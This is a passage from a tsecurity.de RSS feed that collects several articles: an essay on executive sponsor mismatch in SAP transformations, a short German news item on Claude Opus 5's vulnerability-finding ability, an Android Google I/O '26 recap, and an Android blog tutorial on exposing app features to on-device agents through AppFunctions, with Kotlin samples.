<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Claude Opus 5 soll Sicherheitslücken auf Mythos-Niveau finden]]></title>
<description><![CDATA[Claude Opus 5 findet Sicherheitslücken ähnlich gut wie Mythos 5, sagt Anthropic. Beim Ausnutzen der Lücken sehe es aber anders aus.]]></description>
<link>https://tsecurity.de/de/3694136/it-nachrichten/claude-opus-5-soll-sicherheitsluecken-auf-mythos-niveau-finden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694136/it-nachrichten/claude-opus-5-soll-sicherheitsluecken-auf-mythos-niveau-finden/</guid>
<pubDate>Sat, 25 Jul 2026 18:18:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Claude Opus 5 findet Sicherheitslücken ähnlich gut wie Mythos 5, sagt Anthropic. Beim Ausnutzen der Lücken sehe es aber anders aus.]]></content:encoded>
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<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
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<div class="separator">
  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
</div>

<div>
  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
</div>

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<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

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<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

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<div>
  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
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<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
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<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

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<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post 